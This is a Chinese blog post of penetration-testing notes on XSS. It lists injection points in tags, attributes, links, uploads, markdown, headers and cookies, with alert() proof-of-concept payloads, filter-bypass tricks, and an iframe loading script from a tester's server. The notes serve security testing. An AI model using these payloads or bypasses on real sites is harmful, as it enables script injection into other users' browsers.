xss注入点总结

一、标签中间<><>
1、可能存在于:<textarea> <p> <a>
注意以上这些标签应该都需要闭合,但是如果是<div>的话就不需要

2、可以直接F12在html进行注入(<p><img></p>),如果编码了(<p>&lt;img&gt;</p>)就没xss问题。没过滤则有xss问题(<p><img></p>)。

3、这里补充一个“双写绕过”
https://cloud.tencent.com/developer/article/1376933
<scri<script>pt><script>过滤掉了,但是前面后面又凑成一个<script>

4、如果没有编码过滤就尝试注入(<script>alert(1)</script>或者<img src=1 onerror=alert("xss")>或者<input type="image" src=1 onerror = "alert(1)">),发现没有弹框。原因是没有闭合,把前后便签闭合(</textarea><img src=1 onerror=alert("xss")><textarea>)。

5、如果限制不允许输入空格,输入空格即进行html编码。
<img/src/onerror=alert(1)>也可以达到xss的目的。
<svg/onload=alert(1)>

不允许输入(),可用反引号

<script>alert `1`</script>

不允许反引号,可以用html编码

<img src="x" onerror="alert&#40;1&#41;">


笔记补充:
新建一个test.html,在文本里写入<img src=1 onerror=alert(/xss/)>,用浏览器打开就会弹框
img标签中的src图片加载失败,原来的图片位置会出现一个碎片图标。想去除载入图片失败时显示在左上角的碎片图标,这个要借用img标签的onerror事件和javascript,img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。

<img src="images/logo.png" οnerrοr="javascript:this.src='images/logoError.png';">

当图片不存在时,将触发 onerror,而 onerror 中又为 img 指定一个logoError.png 图片。也就是说图片存在则显示logo.png,图片不存在将显示logoError.png。

二、标签值中间,例如<img value=" ">
1、这时候需要去闭合“和<,注入的payload形如">内容<"
测试的时候可以F12检查一下html有没有过滤双引号,如果过滤了则不需要再用这种方式注入了。

2、如果双引号过滤了,可以使用
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
在浏览器上输入data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=是可以弹框的。
也可以使用<img src="1" onclick="alert(xss)"> 点击图片触发xss

3、如果双引号过滤了,可以通过转义符号\绕过双引号过滤,该处只对双引号做过滤。

\"><img src=1 onerror=alert(xss)>

除了\",还可以使用 "html%df绕过过滤。


问题:
已有url或者html编码
想对标签进行闭合时,发现已经对引号编码

解决方案:
绕过编码的方法 "html %df \"
%df就会变成中文的字节
\可以绕过html编码,\本来就是反编译

三、容易产生XSS的js
1、innerHTML 属性设置表格行的开始和结束标签之间的 HTML。
2、eval() 函数如果参数是一个表达式,eval() 函数将执行表达式。如果参数是Javascript语句,eval()将执行 Javascript 语句。
3、使用new Function创建函数的时候(第一个参数是函数名),如果第二个参数是用户可控的,那么就有可能产生代码注入的问题。
4、使用setTimeout和setInterval的时候,如果第一个参数是用户可控的(第一个参数是执行的代码),那么就有可能产生代码注入的问题。
5、当我们想要使用URL跳转功能的时候,需要注意URL不要被用户控制,并且做了严格的过滤,否则会被恶意利用(不仅会造成不安全跳转问题,还会造成XSS问题)。windows.location.href=“url” - 在当前页面打开url页面

四、上传图片
如果上传图片时,request的参数中有 filename=“https://xx.xx.xx//img/1.jpg”
直接编辑filename为

"https://xx.xx.xx//img/1.jpg "onclick=alert(xss)//

参数为type = “1.jpg”,也可直接编辑为

type = "1.jpg" onclick = alert(xss)//"

五、插入的链接
1、">没有被过滤即可

https://www.baidu.com/img"><script>alert(xss)</script>

2、href属性
Javascirpt:alert(xss)
这里开发多半会用黑名单方式禁止输入Javascirpt,这可以有大小写、ASCII编码、16进制编码、data协议多种方式绕过过滤。
JaVaScript,JavaJavascirptscirpt,J%41vascirpt,Data:text/html,base64:

六、上传的文件(上传时候是填链接)
1、外部构造好的图片-----可以通过禁止插入外部的图片去防御
https://www.valid.com/img/1.jpg
2、本地构造好的图片
svg形式可以直接弹框,打开jpg如果出现图片内容

七、上传的文件
1、文件名可注入

<script>alert(xss)</script>.jpg

2、文件参数里也可以加payload

八、markdown声明
声明隐私容易使用markdown
漏洞:引号逃逸-------如果没过滤引号的话会造成弹框,一般会编码引号
[a](javascript:alert('xss'))会变成

<a>payload</a>

[img](javascript:alert('xss'))会变成

<img src="payload">

九、二次弹框
用户名的下拉框会有很多人名
人名是我们之前在另一个地方创建的,在那里过滤了不能弹框。但是在下拉框里会弹框。
比如可以注入<script>alert(xss),后面能自己补上</script>

十、请求头的Referer
没有过滤,可以在请求头里直接加<script>alert(xss)</script>

十一、请求头的x-forwarded-for
x-forwarded-for:127.0.0.1,payload

十二、请求头的usergent 直接加payload

十三、Cookie---------会存在dom xss,F12里面cookie参数的value值直接改
直接改value值,改了如果没弹框也恢复了原来的值就没问题
如果没弹框但是也没有恢复原来的值,是有问题的,可以换注入方式

十四、Tinymce编辑器iframe标签未启动sandbox属性,导致存储型XSS
Tinymce编辑器,可以源码编辑。尝试注入xss payload,发现过滤了各类标签和事件属性,比如<svg><img>、on开头的事件等。
发现iframe标签没有sandbox属性,由于iframe标签可以跨域请求资源,因此攻击者可以构造https服务器,将xss payload放在恶意服务器根目录下。使用iframe标签加载。
因此,配置payload为:

<p><iframe src="https://10.122.111.133:8888/1.html"></p></iframe></p>

10.122.111.133搭建一台https服务器,1.html的内容为<script>alert(1)</script>

  • 5
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
XSS注入和SQL注入虽然都属于注入攻击,但它们有一些区别和特。 首先,XSS注入和SQL注入在攻击指令注入的方式上有所不同。XSS注入是通过向用户输入的域注入恶意的HTML代码(即脚本),而SQL注入则是通过向用户输入的域注入恶意的SQL命令。因此,XSS注入攻击的目标是在用户终端执行恶意代码,而SQL注入攻击的目标是获取或控制后台数据库。 其次,XSS注入和SQL注入都是利用了Web服务器未对用户输入数据进行严格的检查和过滤的漏洞。这种漏洞使得黑客能够将恶意代码或命令注入到网页中,从而实现攻击目的。 另外,XSS攻击的主要目标是窃取Web终端用户的敏感数据,并有可能控制用户终端操作;而SQL注入攻击的主要目标是窃取Web后台数据库中的敏感数据,并有可能控制整个数据库服务器。因此,XSS攻击的影响范围更局限于用户终端,而SQL注入攻击的影响范围更广泛,涉及到整个数据库系统。 总结起来,XSS注入和SQL注入的区别主要在于攻击目标和注入内容的差异。XSS注入攻击主要通过注入恶意的HTML代码来实现窃取用户数据和控制用户终端操作的目的,而SQL注入攻击主要通过注入恶意的SQL命令来实现窃取数据库数据和控制数据库服务器的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [sql注入xss注入有什么不一样呢?](https://blog.csdn.net/qq_24601199/article/details/116332531)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [XSS基础](https://blog.csdn.net/qq_57157540/article/details/124413128)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值